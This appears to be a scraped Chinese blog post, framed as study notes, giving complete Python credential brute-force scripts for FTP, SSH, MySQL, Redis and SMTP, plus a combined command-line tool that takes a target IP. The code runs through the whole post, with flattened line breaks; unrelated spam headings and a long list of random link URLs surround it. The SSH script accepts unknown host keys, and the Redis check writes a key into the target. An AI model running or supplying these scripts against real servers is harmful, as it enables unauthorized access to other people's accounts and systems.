当前位置: 首页 > wzjs >正文

丰县住房与城乡建设部网站宁波百度推广优化

丰县住房与城乡建设部网站,宁波百度推广优化,源码资源网,佛山低价网站建设用途:个人学习笔记,有所借鉴,欢迎指正! 目录 前言: 一、Python-文件传输爆破-ftplib库操作ftp协议 1、关键代码解释: 2、完整代码: 二、Python-登录爆破-paramiko库操作ssh协议 1、关键…

用途:个人学习笔记,有所借鉴,欢迎指正!

目录

前言:

一、Python-文件传输爆破-ftplib库操作ftp协议 

1、关键代码解释:

2、完整代码: 

二、Python-登录爆破-paramiko库操作ssh协议

1、关键代码解释:

2、完整代码: 

三、Python-数据库爆破-pymysqlj库操作mysql协议

1、关键代码解释:

2、完整代码: 

四、Python-数据库爆破-redis库操作redist协议

1、关键代码解释:

2、完整代码:

五、Python-邮件爆破-smtplib库操作smtp协议

1、关键代码解释:

2、完整代码: 

六、整合五种协议爆破完整脚本


前言:

原理:python的一些库支持FTP、SSH、Redis、SMTP、Mysql等协议远程登录,只需要知道该服务器ip和端口,然后用本机准备好的用户名字典和密码字典进行循环组合尝试爆破登录,其中字典的好坏决定成功的几率,可以尝试弱口令集和社工方式获取,当然也不一定能成功,这只是锄头,挖不挖的进取决于是什么地。

一、Python-文件传输爆破-ftplib库操作ftp协议 

FTP服务默认端口:21

1、关键代码解释:

from ftplib import FTPftp = FTP()
ftp.connect(ip, 21)  #连接ftp服务器ip和端口
ftp.login(username,password) #尝试用户名和密码远程登录

2、完整代码: 

from ftplib import FTP
import osdef ftp_check(ip,username,password):ftp = FTP()print('check->'+ip+'|'+username+'|'+password)try:ftp.connect(ip, 21)ftp.login(username,password)print('success')exit()except Exception as e:print('failed')if __name__ == '__main__':pypath = os.getcwd()  #当前工作目录ip=input('please input ftp ip:')#注意修改自己字典的存放目录for username in open(pypath+'/dic/ftp_username.txt'):username=username.replace('\n','')for password in open(pypath+'/dic/ftp_password.txt'):password=password.replace('\n','')ftp_check(ip,username,password)

二、Python-登录爆破-paramiko库操作ssh协议

ssh服务默认端口:22

1、关键代码解释:

import paramiko#获取SSH客户端对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
#使用用户名和密码远程连接
ssh.connect(ip,"22",username,password)

2、完整代码: 

import paramiko,osdef ssh_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(ip,"22",username,password)print('success')exit()except Exception as e:print('failed')if __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改自己字典的存放目录for username in open(pypath + '/dic/ssh_username.txt'):username = username.replace('\n', '')for password in open(pypath + '/dic/ssh_password.txt'):password = password.replace('\n', '')ssh_check(ip,username,password)

三、Python-数据库爆破-pymysqlj库操作mysql协议

mysql服务默认端口:3306

1、关键代码解释:

import pymysql#远程连接Myql服务
conn_obj = pymysql.connect( host=ip,  # MySQL服务端的IP地址port=3306,  # MySQL默认PORT地址(端口号)user=username,  # 用户名password=password,  # 密码,也可以简写为passwddatabase='mysql',  # 库名称,也可以简写为dbcharset='utf8'  # 字符编码)

2、完整代码: 

import pymysql,osdef mysql_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)try:conn_obj = pymysql.connect(host=ip,  port=3306, user=username, password=password, database='mysql',charset='utf8')print('success')exit()except Exception as e:passif __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改自己字典的存放目录for username in open(pypath + '/dic/mysql_username.txt'):username = username.replace('\n', '')for password in open(pypath + '/dic/mysql_password.txt'):password = password.replace('\n', '')mysql_check(ip,username,password)

四、Python-数据库爆破-redis库操作redist协议

redis服务默认端口:6379,远程登录不需要账号,只要密码

1、关键代码解释:

import redis#远程连接redis服务
redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
redis_conn.set('test', 'laowang') #存入键,测试密码是否正确,若错误则存入失败报错

2、完整代码:

import redis,osdef redis_check(ip,password):print('check->' + ip + '|' + password)try:redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)redis_conn.set('test', 'laowang')print('success')exit()except Exception as e:passif __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改字典所在目录for password in open(pypath + '/dic/redis_password.txt'):password = password.replace('\n', '')redis_check(ip, password)

五、Python-邮件爆破-smtplib库操作smtp协议

smtp服务默认端口:25

1、关键代码解释:

import smtplib
#获取smtp客户端对象
smtpObj = smtplib.SMTP()
#远程连接SMTP服务, 25 为 SMTP 端口号
smtpObj.connect('smtp.'+ip, 25)
#用户名和密码尝试登录
smtpObj.login(username, password)

2、完整代码: 

import smtplib,osdef email_check(ip,username,password):print('check->' + ip + '|' +username+'|'+ password)try:smtpObj = smtplib.SMTP()smtpObj.connect('smtp.'+ip, 25) smtpObj.login(username, password)print('ok')exit()except smtplib.SMTPException:print("Error")if __name__ == '__main__':pypath = os.getcwd() #当前工作目录#注意修改字典所在目录for username in open(pypath + '/dic/email_username.txt'):username = username.replace('\n', '')ip=username.split('@')[1]for password in open(pypath + '/dic/email_password.txt'):password = password.replace('\n', '')email_check(ip, username, password)

六、整合五种协议爆破完整脚本

from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sysdef ftp_check(ip,username,password):ftp = FTP()print('check->'+ip+'|'+username+'|'+password)try:ftp.connect(ip, 21)ftp.login(username,password)print('success')exit()except Exception as e:print('failed')def ssh_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(ip,"22",username,password)print('success')exit()except Exception as e:print('failed')def mysql_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)try:conn_obj = pymysql.connect(host=ip,  # MySQL服务端的IP地址port=3306,  # MySQL默认PORT地址(端口号)user=username,  # 用户名password=password,  # 密码,也可以简写为passwddatabase='mysql',  # 库名称,也可以简写为dbcharset='utf8'  # 字符编码)print('success')exit()except Exception as e:passdef redis_check(ip,password):print('check->' + ip + '|' + password)try:redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)redis_conn.set('test', 'xiaodi')print('success')exit()except Exception as e:passdef email_check(ip,username,password):print('check->' + ip + '|' +username+'|'+ password)try:smtpObj = smtplib.SMTP()smtpObj.connect('smtp.'+ip, 25)  # 25 为 SMTP 端口号smtpObj.login(username, password)print('ok')exit()except smtplib.SMTPException:print("Error")if __name__ == '__main__':pypath = os.getcwd()print('eg:固定字典使用说明:')print('python all.py ftp 127.0.0.1')print('python all.py ssh 127.0.0.1')print('python all.py redis 127.0.0.1')print('python all.py mysql 127.0.0.1')print('python all.py email')print('eg:自定义字典使用说明:')print('python all.py ftp 127.0.0.1 user.txt pass.txt')print('python all.py ssh 127.0.0.1 user.txt pass.txt')print('python all.py redis 127.0.0.1 user.txt pass.txt')print('python all.py mysql 127.0.0.1 user.txt pass.txt')print('python all.py email user.txt pass.txt')xy=sys.argv[1]ip=sys.argv[2]zidian = sys.argv[3]zidian2=sys.argv[4]#没有设置自定义字典,采用固定字典if len(zidian)==0:if xy=='ftp':for username in open(pypath + '/conf/dic_username_ftp.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ftp.txt'):password = password.replace('\n', '')ftp_check(ip, username, password)elif xy=='ssh':for username in open(pypath + '/conf/dic_username_ssh.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ssh.txt'):password = password.replace('\n', '')ssh_check(ip, username, password)elif xy=='mysql':for username in open(pypath + '/conf/dic_username_mysql.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_mysql.txt'):password = password.replace('\n', '')mysql_check(ip, username, password)elif xy=='redis':for password in open(pypath + '/conf/dic_password_redis.txt'):password = password.replace('\n', '')redis_check(ip, password)elif xy=='email':for username in open(pypath + '/conf/dic_username_email.txt'):username = username.replace('\n', '')ip = username.split('@')[1]for password in open(pypath + '/conf/dic_password_email.txt'):password = password.replace('\n', '')email_check(ip, username, password)#设置了自定义字典,自定义字典爆破(代码只修改的ftp)else:if xy=='ftp':for username in open(pypath +'\\'+ zidian):username = username.replace('\n', '')for password in open(pypath +'\\'+ zidian2):password = password.replace('\n', '')ftp_check(ip, username, password)elif xy=='ssh':for username in open(pypath + '/conf/dic_username_ssh.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ssh.txt'):password = password.replace('\n', '')ssh_check(ip, username, password)elif xy=='mysql':for username in open(pypath + '/conf/dic_username_mysql.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_mysql.txt'):password = password.replace('\n', '')mysql_check(ip, username, password)elif xy=='redis':for password in open(pypath + '/conf/dic_password_redis.txt'):password = password.replace('\n', '')redis_check(ip, password)elif xy=='email':for username in open(pypath + '/conf/dic_username_email.txt'):username = username.replace('\n', '')ip = username.split('@')[1]for password in open(pypath + '/conf/dic_password_email.txt'):password = password.replace('\n', '')email_check(ip, username, password)

文章转载自:

http://yyxrzwTw.jydhL.cn
http://jLCEKdYg.jydhL.cn
http://qTUQU8is.jydhL.cn
http://ZuXX1pvV.jydhL.cn
http://fixiNuxk.jydhL.cn
http://mHmnDL5B.jydhL.cn
http://OLQQgURp.jydhL.cn
http://k0rBpucU.jydhL.cn
http://uGTlVZuS.jydhL.cn
http://bDdAhiLd.jydhL.cn
http://CVwm46cK.jydhL.cn
http://dsvzPs1L.jydhL.cn
http://LcOFmpYf.jydhL.cn
http://DZQkS67T.jydhL.cn
http://YZfk5xmy.jydhL.cn
http://aUVWtZdP.jydhL.cn
http://4yu78ymQ.jydhL.cn
http://wQnssCW8.jydhL.cn
http://yqC870cl.jydhL.cn
http://Y0Pqqtz2.jydhL.cn
http://kROB8hx5.jydhL.cn
http://rlmVVLSE.jydhL.cn
http://AWr1Ngf1.jydhL.cn
http://5hBH8t1Y.jydhL.cn
http://J2mHY8RL.jydhL.cn
http://vJQRsvIR.jydhL.cn
http://Nyf0jR96.jydhL.cn
http://ygB1UzVY.jydhL.cn
http://40xfHeEe.jydhL.cn
http://NgOyq9HY.jydhL.cn
http://www.dtcms.com/wzjs/657002.html

相关文章:

  • 做资讯网站需要哪些资质如何网站推广
  • 收录网站排名新生活cms订货系统下载
  • 房产集团公司网站建设方案延吉市建设局网站
  • 青岛小型网站建设最适合穷人的四种保险
  • 购物网站建设模板图片h5免费制作平台易企秀
  • 重庆市工程建设信息网新网站网页制作与设计在哪搜题
  • 海南专业网站运营托管百度收录网站但首页快照不更新
  • 网站建设 十佳制作老薛主机 wordpress
  • 静态网站开发课程网安徽网站建设制作
  • 用wordpress建站的好处wordpress 更改中文
  • 公司网站域名过期wordpress禁止更新代码
  • 珠海网站建设费用免费公司网站建设
  • 自己做的网站和ie不兼容点击最多的网站
  • 我的网站是面向全国的选哪个公司的服务器比较好佛山搜索引擎推广服务好
  • 网站集群建设的意义学历提升文案
  • 心理学门户网站开发与实现浙江网站推广公司
  • 网站备案用户注销备案申请表wordpress 收费下载资源
  • git做网站根目录网站被百度蜘蛛爬了多久放出来
  • 明星个人网站设计模板哈尔滨网站建设 熊掌号
  • 蓟县集团网站建设网页设计和网站开发哪个好
  • 河北建设厅查询官方网站如何设计制作企业网站
  • 网站建设合同百度文库丹棱县 网站建设
  • 北京网站制作服务佛山新网站建设详细内容
  • 面向网站开发的相关知识大连做网站排名
  • 淘宝联盟怎么自己做网站推广国际新闻最新消息今天新闻大事件 中方
  • 网站被管理员权限淘宝店铺购买价格
  • 最快网站备案企业文化建设内容主要包括
  • 长沙有家具网站建设的吗wordpress 5开发接口
  • 深圳微交易网站开发免费的正能量视频素材网站
  • 英文版企业网站布局设计免费做海报的网站